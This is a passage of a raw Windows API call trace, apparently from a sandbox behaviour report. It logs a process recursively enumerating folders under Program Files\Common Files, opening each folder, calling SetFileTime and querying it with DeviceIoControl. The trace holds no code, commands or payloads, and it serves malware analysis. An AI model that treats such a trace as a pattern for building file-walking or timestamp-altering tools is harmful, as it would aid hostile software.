(hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.896] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0045.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.896] NtClose (Handle=0x134) returned 0x0 [0045.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3f50 [0045.896] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bb8 [0045.896] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.896] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.896] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.896] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0045.896] GetLastError () returned 0x12 [0045.896] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0045.897] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0045.897] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.897] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0045.897] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0045.897] GetLastError () returned 0x12 [0045.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3f50) returned 1 [0045.897] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0045.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.897] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0045.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.897] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0045.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.897] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0045.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.897] NtClose (Handle=0x170) returned 0x0 [0045.897] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3f50 [0045.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0045.898] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0045.899] GetLastError () returned 0x12 [0045.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bb8 [0045.899] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.899] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.899] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0045.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 